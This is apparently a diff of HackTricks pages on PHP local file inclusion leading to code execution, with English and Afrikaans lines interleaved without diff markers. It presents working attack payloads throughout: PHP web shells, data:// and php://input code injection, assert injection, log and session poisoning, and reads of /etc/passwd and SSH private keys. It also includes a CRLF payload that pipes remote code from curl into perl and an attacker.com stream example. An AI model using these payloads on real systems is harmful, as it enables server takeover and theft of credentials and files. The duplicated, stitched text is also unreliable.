- En om in staat te wees om **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit **te pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
Hierdie wrapper stel jou in staat om lêerdeskriptoren waartoe die proses toegang het, te benader. Potensieel nuttig om die inhoud van geopende lêers te eksfiltreer:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
U kan ook **php://stdin, php://stdout en php://stderr** gebruik om toegang te verkry tot die **lêer beskrywings 0, 1 en 2** onderskeidelik (nie seker hoe dit nuttig kan wees in 'n aanval nie)
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
### zip:// and rar://
Upload a Zip or Rar file with a PHPShell inside and access it.\
In order to be able to abuse the rar protocol it **need to be specifically activated**.
### zip:// en rar://
Laai 'n Zip of Rar-lêer op met 'n PHPShell binne en toegang dit.\
Om die rar-protokol te kan misbruik, **moet dit spesifiek geaktiveer word**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -366,9 +327,7 @@ mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -378,30 +337,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
Let wel dat hierdie protokol beperk word deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
### expect://
Expect has to be activated. You can execute code using this:
Expect moet geaktiveer wees. Jy kan kode uitvoer met hierdie:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Specify your payload in the POST parameters:
Gee jou payload in die POST parameters aan:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file:
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kode-snippet hieronder demonstreer die skepping van 'n `.phar`-lêer:
```php
<?php
$phar = new Phar('test.phar');
@ -410,13 +363,10 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
To compile the `.phar` file, the following command should be executed:
Om die `.phar`-lêer te kompileer, moet die volgende opdrag uitgevoer word:
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
@ -431,95 +381,88 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
Dit was moontlik om **enige arbitrêre lêer wat van PHP gelees word wat php-filters ondersteun** te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan [**gevind word in hierdie pos**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Baie vinnige opsomming: 'n **3 byte oorgang** in die PHP heap is misbruik om die **ketting van vrye stukke** van 'n spesifieke grootte te **verander** sodat dit moontlik was om **enigiets in enige adres te skryf**, so 'n haak is bygevoeg om **`system`** aan te roep.\
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêerinvoegaanval nie)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URL's
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URL's
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat aan patroon voldoen (Dit gee niks drukbaar terug nie, so nie regtig nuttig hier nie)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Klankstrome (Nie nuttig om arbitrêre lêers te lees nie)
## LFI via PHP's 'assert'
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus traversering karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use:
Terwyl dit daarop gemik is om traversie te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut om lêerinhoud te lees, kan 'n aanvaller gebruik maak van:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Similarly, for executing arbitrary system commands, one might use:
Net so, om arbitrêre stelselskommando's uit te voer, kan 'n mens gebruik maak van:
```plaintext
' and die(system("id")) or '
```
It's important to **URL-encode these payloads**.
Dit is belangrik om **URL-encode hierdie payloads**.
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Hacking Inligting**\
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Regte Tyd Hack Nuus**\
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Laaste Aankondigings**\
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## PHP Blind Path Traversal
> [!WARNING]
> This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown.
> Hierdie tegniek is relevant in gevalle waar jy **beheer** oor die **lêerpad** van 'n **PHP funksie** het wat 'n **lêer** sal **toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie gewys nie.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP filter om **die inhoud van 'n lêer via 'n fout orakel te exfiltreer**.
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
In samevatting, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
Dan, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te lek**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Funksies wat kwesbaar mag wees**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (slegs teiken lees net hiermee)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post!
Vir die tegniese besonderhede kyk na die genoemde pos!
## LFI2RCE
### Remote File Inclusion
Explained previously, [**follow this link**](./#remote-file-inclusion).
Soos voorheen verduidelik, [**volg hierdie skakel**](./#remote-file-inclusion).
### Via Apache/Nginx log file
### Via Apache/Nginx log lêer
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
As die Apache of Nginx bediener **kwesbaar is vir LFI** binne die insluitingsfunksie kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in
> [!WARNING]
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
> Let daarop dat **as jy dubbele aanhalings gebruik** vir die shell in plaas van **enkele aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
>
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:
> Maak ook seker dat jy die **payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kopstuk **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kopstuk ingevoeg word.\
Ander moontlike log paaie:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -531,113 +474,96 @@ Other possible log paths:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing woordlys: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via E-pos
### Via Email
**Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om in te sluit in die e-pos van die gebruiker met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
1. Upload a lot of shells (for example : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
1. Laai 'n groot aantal shells op (byvoorbeeld: 100)
2. Sluit [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) in, met $PID = PID van die proses (kan brute-forced word) en $FD die lêerdeskriptor (kan ook brute-forced word)
### Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
Soos 'n loglêer, stuur die payload in die User-Agent, dit sal binne die /proc/self/environ lêer weerspieël word
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Deur op te laai
### Via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf te injecteer.
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
### Via Zip fie upload
Upload a ZIP file containing a PHP shell compressed and access:
### Deur Zip-lêer op te laai
Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Deur PHP sessies
### Via PHP sessions
Check if the website use PHP Session (PHPSESSID)
Kontroleer of die webwerf PHP Sessies (PHPSESSID) gebruik.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into _/var/lib/php5/sess\\_\[PHPSESSID]\_ files
In PHP word hierdie sessies in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers gestoor.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
Stel die koekie in op `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
Gebruik die LFI om die PHP-sessie lêer in te sluit
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id_rsa**
As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
Die logs vir die FTP bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd bediener moontlik is, kan die volgende stappe oorweeg word:
1. Inject a PHP payload into the username field during the login process.
2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
1. Spuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
2. Na inspuiting, gebruik die LFI om die bedienerlogs van _**/var/log/vsftpd.log**_ te verkry.
### Via php base64 filter (using base64)
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
Soos in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel gewys, ignoreer die PHP base64 filter eenvoudig nie-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (geen lêer nodig)
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** vir die insluiting kan **genereer sonder om** dit in 'n lêer te skryf.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
### Via segmentasiefout
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
**Laai** 'n lêer op wat as **tydelik** in `/tmp` gestoor sal word, dan in die **dieselfde versoek,** veroorsaak 'n **segmentasiefout**, en dan sal die **tydelike lêer nie verwyder word** nie en jy kan daarna soek.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
### Via Nginx tydelike lêer stoor
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
As jy 'n **Plaaslike Lêer Insluiting** gevind het en **Nginx** voor PHP loop, kan jy dalk RCE verkry met die volgende tegniek:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -645,15 +571,15 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
As jy 'n **Plaaslike Lêer Insluiting** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP **die sessie vir jou aktiveer**. Jy kan dit misbruik om RCE te verkry:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
### Via tydelike lêer opgelaai in Windows
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
As jy 'n **Plaaslike Lêer Insluiting** gevind het en die bediener loop in **Windows**, kan jy RCE verkry:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -661,57 +587,53 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument.
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
Soos [**verduidelik in hierdie pos**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), bestaan die skrip `/usr/local/lib/phppearcmd.php` standaard in php docker beelde. Boonop is dit moontlik om argumente aan die skrip deur die URL te gee omdat dit aangedui word dat as 'n URL parameter nie 'n `=` het nie, dit as 'n argument gebruik moet word.
Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Die volgende misbruik 'n CRLF kwesbaarheid om RCE te verkry (van [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
As jy 'n **Local File Inclusion** en 'n lêer wat **phpinfo()** blootstel met file_uploads = on gevind het, kan jy RCE kry:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Pad Ontdekking
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** **kontroleer** of die **lêer wat ingesluit moet word PHP merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### Via ewige wag + bruteforce
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener **hang** die PHP uitvoering, kan jy dan **brute force lêernames oor ure** om die tydelike lêer te vind:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### Tot Fatale Fout
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
**I don't know how is this useful but it might be.**\
&#xNAN;_&#x45;ven if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
**Ek weet nie hoe dit nuttig is nie, maar dit mag wees.**\
&#xNAN;_&#x45;selfs as jy 'n PHP Fatale Fout veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## Verwysings
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -720,18 +642,17 @@ If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/pha
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Hacking Inligting**\
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Regte Tyd Hack Nuus**\
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Laaste Aankondigings**\
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,44 +1,39 @@
# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Pad Ontdekking
{{#include ../../banners/hacktricks-training.md}}
### `compress.zlib://` and `PHP_STREAM_PREFER_STDIO`
### `compress.zlib://` en `PHP_STREAM_PREFER_STDIO`
A file opened using the protocol `compress.zlib://` with the flag `PHP_STREAM_PREFER_STDIO` can continue writing data that arrives to the connection later to the same file.
This means that a call such as:
'n Lêer wat geopen is met die protokol `compress.zlib://` met die vlag `PHP_STREAM_PREFER_STDIO` kan voortgaan om data te skryf wat later na die verbinding kom na dieselfde lêer.
Dit beteken dat 'n oproep soos:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek met 'n geldige HTTP-respons beantwoord, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lêer geskryf sal word.
Will send a request asking for http://attacker.com/file, then the server might respond the request with a valid HTTP response, keep the connection open, and send extra data some time later that will be also written into the file.
You can see that info in this part of the php-src code in main/streams/cast.c:
Jy kan daardie inligting in hierdie deel van die php-src kode in main/streams/cast.c sien:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
### Race Condition na RCE
### Race Condition to RCE
[**Hierdie CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) is opgelos met die vorige truuk.
[**This CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) was solved using the previous trick.
Die aanvaller sal die **slagoffer bediener 'n verbinding laat oopmaak wat 'n lêer van die aanvaller se bediener lees** met behulp van die **`compress.zlib`** protokol.
The attacker will make the **victim server open a connection reading a file from the attackers server** using the **`compress.zlib`** protocol.
**Terwyl** hierdie **verbinding** bestaan, sal die aanvaller die **pad** na die tydelike lêer wat geskep is **uitvoer** (dit is gelekt deur die bediener).
**While** this **connection** exist the attacker will **exfiltrate the path** to the temp file created (it's leaked by the server).
**Terwyl** die **verbinding** steeds oop is, sal die aanvaller 'n **LFI benut wat die tydelike lêer** laai wat hy beheer.
**While** the **connection** is still open, the attacker will **exploit a LFI loading the temp file** that he controls.
Daar is egter 'n kontrole in die webbediener wat **voorkom dat lêers wat `<?` bevat, gelaai word**. Daarom sal die aanvaller 'n **Race Condition** misbruik. In die verbinding wat steeds oop is, sal die **aanvaller** die **PHP payload STUUR NA** die **webbediener** **gekyk** het of die lêer die verbode karakters bevat, maar **VOORDAT dit sy inhoud laai**.
However, there is a check in the web server that **prevents loading files that contains `<?`**. Therefore, the attacker will abuse a **Race Condition**. In the connection that is still open the **attacker** will **send the PHP payload AFTER** the **webserver** has **checked** if the file contains the forbidden characters but **BEFORE it loads its content**.
